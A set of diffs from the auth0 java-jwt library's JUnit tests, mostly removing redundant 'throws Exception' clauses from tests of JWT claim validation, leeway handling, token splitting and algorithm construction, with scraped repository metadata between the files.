@@ -494,7 +495,7 @@ public void shouldValidateCustomClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeDouble() throws Exception {
+    public void shouldValidateCustomClaimOfTypeDouble() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 23.45)
@@ -505,7 +506,7 @@ public void shouldValidateCustomClaimOfTypeDouble() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldValidateCustomClaimOfTypeBoolean() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", true)
@@ -516,7 +517,7 @@ public void shouldValidateCustomClaimOfTypeBoolean() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeDate() throws Exception {
+    public void shouldValidateCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
         Date date = new Date(1478891521000L);
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -528,7 +529,7 @@ public void shouldValidateCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", "text", "123", "true")
@@ -539,7 +540,7 @@ public void shouldValidateCustomArrayClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1, 2, 3)
@@ -550,7 +551,7 @@ public void shouldValidateCustomArrayClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLong() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLong() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbNTAwMDAwMDAwMDAxLDUwMDAwMDAwMDAwMiw1MDAwMDAwMDAwMDNdfQ.vzV7S0gbV9ZAVxChuIt4XZuSVTxMH536rFmoHzxmayM";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 500000000001L, 500000000002L, 500000000003L)
@@ -561,7 +562,7 @@ public void shouldValidateCustomArrayClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1L, 2L, 3L)
@@ -572,7 +573,7 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() throws
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSw1MDAwMDAwMDAwMDIsNTAwMDAwMDAwMDAzXX0.PQjb2rPPpYjM2sItZEzZcjS2YbfPCp6xksTSPjpjTQA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1L, 500000000002L, 500000000003L)
@@ -585,7 +586,7 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong()
     // Generic Delta
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldAddDefaultLeewayToDateClaims() throws Exception {
+    public void shouldAddDefaultLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .build();
@@ -598,7 +599,7 @@ public void shouldAddDefaultLeewayToDateClaims() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldAddCustomLeewayToDateClaims() throws Exception {
+    public void shouldAddCustomLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -612,7 +613,7 @@ public void shouldAddCustomLeewayToDateClaims() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultIssuedAtLeeway() throws Exception {
+    public void shouldOverrideDefaultIssuedAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -627,7 +628,7 @@ public void shouldOverrideDefaultIssuedAtLeeway() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultExpiresAtLeeway() throws Exception {
+    public void shouldOverrideDefaultExpiresAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -642,7 +643,7 @@ public void shouldOverrideDefaultExpiresAtLeeway() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultNotBeforeLeeway() throws Exception {
+    public void shouldOverrideDefaultNotBeforeLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -656,7 +657,7 @@ public void shouldOverrideDefaultNotBeforeLeeway() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNegativeCustomLeeway() throws Exception {
+    public void shouldThrowOnNegativeCustomLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -666,7 +667,7 @@ public void shouldThrowOnNegativeCustomLeeway() throws Exception {
 
     // Expires At
     @Test
-    public void shouldValidateExpiresAtWithLeeway() throws Exception {
+    public void shouldValidateExpiresAtWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptExpiresAt(2);
@@ -689,7 +690,7 @@ public void shouldValidateExpiresAtIfPresent() {
     }
 
     @Test
-    public void shouldThrowOnInvalidExpiresAtIfPresent() throws Exception {
+    public void shouldThrowOnInvalidExpiresAtIfPresent() {
         exception.expect(TokenExpiredException.class);
         exception.expectMessage(startsWith("The Token has expired on"));
 
@@ -701,7 +702,7 @@ public void shouldThrowOnInvalidExpiresAtIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
+    public void shouldThrowOnNegativeExpiresAtLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -711,7 +712,7 @@ public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
 
     // Not before
     @Test
-    public void shouldValidateNotBeforeWithLeeway() throws Exception {
+    public void shouldValidateNotBeforeWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptNotBefore(2);
@@ -723,7 +724,7 @@ public void shouldValidateNotBeforeWithLeeway() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidNotBeforeIfPresent() throws Exception {
+    public void shouldThrowOnInvalidNotBeforeIfPresent() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
 
@@ -735,7 +736,7 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldValidateNotBeforeIfPresent() throws Exception {
+    public void shouldValidateNotBeforeIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
@@ -746,7 +747,7 @@ public void shouldValidateNotBeforeIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
+    public void shouldThrowOnNegativeNotBeforeLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -756,7 +757,7 @@ public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
 
     // Issued At with future date
     @Test(expected = InvalidClaimException.class)
-    public void shouldThrowOnFutureIssuedAt() throws Exception {
+    public void shouldThrowOnFutureIssuedAt() {
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
@@ -766,7 +767,7 @@ public void shouldThrowOnFutureIssuedAt() throws Exception {
 
     // Issued At with future date and ignore flag
     @Test
-    public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() throws Exception {
+    public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification.ignoreIssuedAt();
@@ -776,7 +777,7 @@ public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidIssuedAtIfPresent() throws Exception {
+    public void shouldThrowOnInvalidIssuedAtIfPresent() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
 
@@ -788,7 +789,7 @@ public void shouldThrowOnInvalidIssuedAtIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() throws Exception {
+    public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptIssuedAt(1)
@@ -801,7 +802,7 @@ public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVe
     }
 
     @Test
-    public void shouldValidateIssuedAtIfPresent() throws Exception {
+    public void shouldValidateIssuedAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
@@ -812,7 +813,7 @@ public void shouldValidateIssuedAtIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNegativeIssuedAtLeeway() throws Exception {
+    public void shouldThrowOnNegativeIssuedAtLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -821,7 +822,7 @@ public void shouldThrowOnNegativeIssuedAtLeeway() throws Exception {
     }
 
     @Test
-    public void shouldValidateJWTId() throws Exception {
+    public void shouldValidateJWTId() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withJWTId("jwt_id_123")
@@ -832,7 +833,7 @@ public void shouldValidateJWTId() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidJWTId() throws Exception {
+    public void shouldThrowOnInvalidJWTId() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
@@ -843,7 +844,7 @@ public void shouldThrowOnInvalidJWTId() throws Exception {
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() throws Exception {
+    public void shouldRemoveClaimWhenPassingNull() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
@@ -863,7 +864,7 @@ public void shouldRemoveClaimWhenPassingNull() throws Exception {
     }
 
     @Test
-    public void shouldRemoveIssuerWhenPassingNullReference() throws Exception {
+    public void shouldRemoveIssuerWhenPassingNullReference() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String) null)
@@ -896,7 +897,7 @@ public void shouldRemoveIssuerWhenPassingNullReference() throws Exception {
     }
 
     @Test
-    public void shouldSkipClaimValidationsIfNoClaimsRequired() throws Exception {
+    public void shouldSkipClaimValidationsIfNoClaimsRequired() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-IDcSemACt8x4iTMCda8Yhe3iZaWbvV5XKSTbuAn0M";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .build()
@@ -926,7 +927,7 @@ public void shouldThrowWhenVerifyingClaimPresenceWhenClaimNameIsNull() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
 
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withClaim("custom", "value")
                 .sign(Algorithm.HMAC256("secret"));
 u}(jJ  (d32ee85959e2bd15cea58390a650d5da605ccf72j  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X2  @@ -14,7 +14,7 @@ public class TokenUtilsTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldSplitToken() throws Exception {
+    public void shouldSplitToken() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
         String[] parts = TokenUtils.splitToken(token);
 
@@ -26,7 +26,7 @@ public void shouldSplitToken() throws Exception {
     }
 
     @Test
-    public void shouldSplitTokenWithEmptySignature() throws Exception {
+    public void shouldSplitTokenWithEmptySignature() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         String[] parts = TokenUtils.splitToken(token);
 
@@ -38,15 +38,15 @@ public void shouldSplitTokenWithEmptySignature() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithMoreThan3Parts() throws Exception {
+    public void shouldThrowOnSplitTokenWithMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 4.");
         String token = "this.has.four.parts";
         TokenUtils.splitToken(token);
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithLessThan3Parts() throws Exception {
+    public void shouldThrowOnSplitTokenWithLessThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String token = "two.parts";u}(jJ  (dd919625b7b2d2ecb3871a433b9e611e75e33f4aj  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javaj  modifiedj  K<j  K<j  Kxj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  XIV  @@ -25,193 +25,193 @@ public class AlgorithmTest {
 
 
     @Test
-    public void shouldThrowHMAC256InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC256InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC256(secret);
     }
 
     @Test
-    public void shouldThrowHMAC384InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC384InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC384(secret);
     }
 
     @Test
-    public void shouldThrowHMAC512InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC512InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC512(secret);
     }
 
     @Test
-    public void shouldThrowHMAC256InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC256InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC256(secret);
     }
 
     @Test
-    public void shouldThrowHMAC384InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC384InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC384(secret);
     }
 
     @Test
-    public void shouldThrowHMAC512InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC512InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC512(secret);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA256(key);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA256(null, null);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA256(provider);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA384(key);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA384(null, null);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA384(provider);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA512(key);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA512(null, null);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA512(provider);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA256(key);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA256(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA256(provider);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA384(key);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA384(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA384(provider);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA512(key);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA512(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA512(provider);
     }
 
     @Test
-    public void shouldCreateHMAC256AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC256AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -221,7 +221,7 @@ public void shouldCreateHMAC256AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC384AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC384AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -231,7 +231,7 @@ public void shouldCreateHMAC384AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC512AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC512AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -241,7 +241,7 @@ public void shouldCreateHMAC512AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC256AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC256AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC256("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -251,7 +251,7 @@ public void shouldCreateHMAC256AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC384AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC384AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC384("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -261,7 +261,7 @@ public void shouldCreateHMAC384AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC512AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC512AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC512("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -271,7 +271,7 @@ public void shouldCreateHMAC512AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA256(key);
 
@@ -282,7 +282,7 @@ public void shouldCreateRSA256AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA256(key);
 
@@ -293,7 +293,7 @@ public void shouldCreateRSA256AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
@@ -305,7 +305,7 @@ public void shouldCreateRSA256AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA256(provider);
 
